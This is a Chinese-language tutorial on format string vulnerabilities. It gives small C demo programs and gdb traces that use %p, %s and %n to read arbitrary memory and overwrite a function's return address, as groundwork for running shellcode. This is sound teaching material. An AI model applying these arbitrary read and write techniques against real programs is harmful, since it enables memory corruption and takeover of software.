| 关键词: printf format buffer bkbll mobile gdb 函数 字符串 地址 数据 |
其实这篇文章没什么技术含量,format string(格式化字符串)漏洞很久很久就被研究透了,scut的一篇pd文档属于非常详细的介绍/入门级文章,但是全英文以及里面例子有些解释不彻底, 以及有些例子已经不能使用了,所以这里想大致总结一下,并给出实验好的环境和代码.(实验平台:rh8.0,gcc自带版本)Format string 漏洞一般是由以下几个函数引起的:o fprintf - 输出到文件句柄o printf - 输出到终端o sprintf - 输出到一个字符串o snprintf -输出指定长度到字符串o vfprintf - print to a FILE stream from a va_arg structureo vprintf - prints to 'stdout' from a va_arg structureo vsprintf - prints to a string from a va_arg structureo vsnprintf - prints to a string with length checking from a va_arg structureRelatives:o setproctitle - set argv[]o syslog - output to the syslog facilityo 其他比如 err*, verr*, warn*, vwarn*在使用这些函数的时候,如果指定了format格式的话,是不存在任何问题的,但是如果程序员偷懒,没指定format而直接输出字符串内容的话,就导致格式化字符串漏洞的发生,比如:char *buffer;⋯⋯⋯⋯⋯⋯.printf("%s\n",buffer);这段程序是不会产生字符串格式化的漏洞的,但是下面这个程序:char *buffer;⋯⋯⋯⋯..printf(buffer);如果buffer可以由用户控制的话,就会导致格式化字符串漏洞的发生。类似还有:syslog (LOG_NOTICE, buf);fprintf(FILE *stream,buffer);sprintf(char *string,buffer);snprintf(char *string,strlen(string),buffer)vfprintf(File *stream,buffer);等。1. 漏洞的产生/介绍我们选用应用最普遍的printf函数来解答format string 漏洞的原理: 我们知道,一个标准正常的printf函数的格式化字符和参数应该是一一对应的,比如:printf("%s%d%x\n",(char *)string,(int)intnum,(int)hexnum);有几个%s等,后面就应该有几个参数,这样才可以一一显示该参数的内容,但是,如果有了格式化字符,如果没有跟参数,printf函数会怎么处理的呢?[bkbll@mobile format]$ cat 6.cmain() { printf("%p %p %p %p %p %p\n"); }%p表示按指针格式显示结果,我们编译运行下看看:[bkbll@mobile format]$ gcc -o 6 6.c[bkbll@mobile format]$ ./60x4212a2d0 0xbffffaf8 0x8048246 0x4200aec8 0x4212a2d0 0xbffffb18显示的是一大堆的内存数据, 我们看看这些数据到底放在哪里的:[bkbll@mobile format]$ gdb -q 6(gdb) b mainBreakpoint 1 at 0x804832e(gdb) rStarting program: /home/bkbll/format/6Breakpoint 1, 0x0804832e in main ()(gdb) x/i printf0x42052390 <printf>: push %ebp(gdb) b *0x42052390Breakpoint 2 at 0x42052390(gdb) cContinuing.Breakpoint 2, 0x42052390 in printf () from /lib/i686/libc.so.6(gdb) x/8wx $esp0xbffffacc: 0x08048345 0x08048394 0x4212a2d0 0xbffffae80xbffffadc: 0x08048246 0x4200aec8 0x4212a2d0 0xbffffb08(gdb)从这里我们看到, printf的入口在0x42052390, 我们分析一下堆栈数据的结构:当系统调用某个函数的时候,首先会将函数参数压入堆栈, 最后把函数的返回地址压入堆栈,上面的0x08048345是函数printf的返回地址, 也就是在main函数里面调用printf函数后下一条要执行的指令.0x08048394存放的是我们给printf的参数:(gdb) x/s 0x080483940x8048394 <_IO_stdin_used+4>: "%p %p %p %p %p %p\n"由于我们给printf了很多的格式化字符%p,但是又没给上相应的参数, 系统认为紧跟格式化字符串后面的数据即为printf的参数,所以就按照%p的格式打印在了终端上.如果我给出了足够多的%p, 是否可以一直打印数据到0xbfffffff呢? 答案是肯定的, 这个不段用%p显示内存数据就是在scut的pdf上讲到的stack popup的涵义.好,我们现在可以显示调用printf函数堆栈以上的内容了, 但是我们可以显示任意内存地址的内容吗? 我们看以下事例:[bkbll@mobile format]$ cat 7.cmain(){char buffer[100]="";strcpy(buffer,"AAAA%p %p %p %p %p %p\n");printf(buffer);}[bkbll@mobile format]$ gcc -o 7 7.c[bkbll@mobile format]$ ./7AAAA0x8048458 0x4200dbb3 0x420069e8 0x41414141 0x25207025 0x702520700x41414141就是我们写的AAAA的16进制码, 如果我把显示0x41414141的%p换成%s, 不是就可以显示0x41414141地址的内容呢?[bkbll@mobile format]$ cat 8.cmain(){char buffer[100]="";strcpy(buffer,"AAAA%p %p %p %s %p %p\n");printf(buffer);}[bkbll@mobile format]$ gcc -o 8 8.c ;./8Segmentation fault段错误, 我们跟踪一下:[bkbll@mobile format]$ gdb -q 8(gdb) rStarting program: /home/bkbll/format/8Program received signal SIGSEGV, Segmentation fault. 0x4207a4cb in strlen () from /lib/i686/libc.so.6(gdb) disass $eip $eip+4Dump of assembler code from 0x4207a4cb to 0x4207a4cf:0x4207a4cb <strlen+11>: cmp %ch,(%eax)0x4207a4cd <strlen+13>: je 0x4207a56a <strlen+170>End of assembler dump.(gdb) i reg ecx eaxecx 0x1 1eax 0x41414141 1094795585(gdb) x/bx $eax0x41414141: Cannot access memory at address 0x41414141Oh,因为我们没有权限访问0x41414141这个地址,所以系统提示段错误.那我们换一个我们可以访问的地址吧:[bkbll@mobile format]$ cat 9.cmain(){char buf1[]="hello,world";char buffer[100]="";strcpy(buffer,"AAAA%p %p %p %s %p %p\n");buffer[0]=(int)buf1 & 0xff;buffer[1]=((int)buf1 >> 8) & 0xff;buffer[2]=((int)buf1 >> 16) & 0xff;buffer[3]=((int)buf1 >> 24) & 0xff;printf(buffer);}[bkbll@mobile format]$ gcc -o 9 9.c ; ./9帔 ?x80484cc (nil) (nil) hello,world 0x25207025 0x70252070我们输出了hello,world字符串, 而这个字符串的地址是我们替换了AAAA的数据得到的.从上面的例子我们可以看出通过精心构造buffer, 我们可以显示任何地方的数据, 也就是所谓的:read anywhere.能读数据虽然可以得到很多东西,但结构并不是我们想要的, 我们要可写才可以控制这个程序的流程, 才能运行我们的shellcode.printf系列函数提供了%n的格式, 用来把显示的数据长度写进一个int型的变量里面, 比如:[bkbll@mobile format]$ cat 10.cmain(){int i=0;printf("before printf,i:%d\n",i);printf("hello,word\n%n",&i);printf("after printf,i:%d\n",i);}[bkbll@mobile format]$ gcc -o 10 10.c;./10before printf,i:0hello,wordafter printf,i:11我们把printf的输出长度写到了变量i里面,所以i值变成了11,既然可以写, 那我再试试可不可以写到其他地方,我们试一下写到main的返回地址里面:[bkbll@mobile format]$ gdb -q 10(gdb) x/i main0x8048328 <main>: push %ebp(gdb) b *0x8048328Breakpoint 1 at 0x8048328(gdb) rStarting program: /home/bkbll/format/10Breakpoint 1, 0x08048328 in main ()(gdb) x/wx $esp0xbffffaec: 0x420158d4我们得到了main的返回地址在0xbffffaec处.Ok, 我们修改一下程序:[bkbll@mobile format]$ cat 11.cmain(){int i=0xbffffaec;printf("hello,word\n%n",i);}[bkbll@mobile format]$ gcc -o 11 11.c[bkbll@mobile format]$ gdb -q 11(gdb) rStarting program: /home/bkbll/format/11hello,word Program received signal SIGSEGV, Segmentation fault.0x0000000b in ?? ()(gdb) i reg eipeip 0xb 0xb(gdb)ok,我们已经成功的把数据写到了main返回地址那里, 0x000000b显然是一个不可以执行的地址, 所以会报错.联想一下,结合前面的read anywhere和这里的写, 我们是否可以动态写数据到任何地址呢?[bkbll@mobile format]$ cat 12.cmain(){int buf1=0xbffffaec;char buffer[100]="";strcpy(buffer,"AAAA%p %p %p %n %p %p\n");buffer[0]=(int)buf1 & 0xff;buffer[1]=((int)buf1 >> 8) & 0xff;buffer[2]=((int)buf1 >> 16) & 0xff;buffer[3]=((int)buf1 >> 24) & 0xff;printf(buffer);}[bkbll@mobile format]$ gcc -o 12 12.c[bkbll@mobile format]$ gdb -q 12(gdb) rStarting program: /home/bkbll/format/12禚 ?x80484b0 (nil) (nil) 0x25207025 0x70252070Program received signal SIGSEGV, Segmentation fault.0x0000001a in ?? ()(gdb) x/wx 0xbffffaec0xbffffaec: 0x0000001a(gdb) i reg eipeip 0x1a 0x1a我们成功的覆盖了main的返回地址?BR>利用printf的格式化字符串漏洞,我们可以writeanywhere,read anywhere。有了这两个条件后,想执行我们的shellcode还不是简单的事情吗 |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|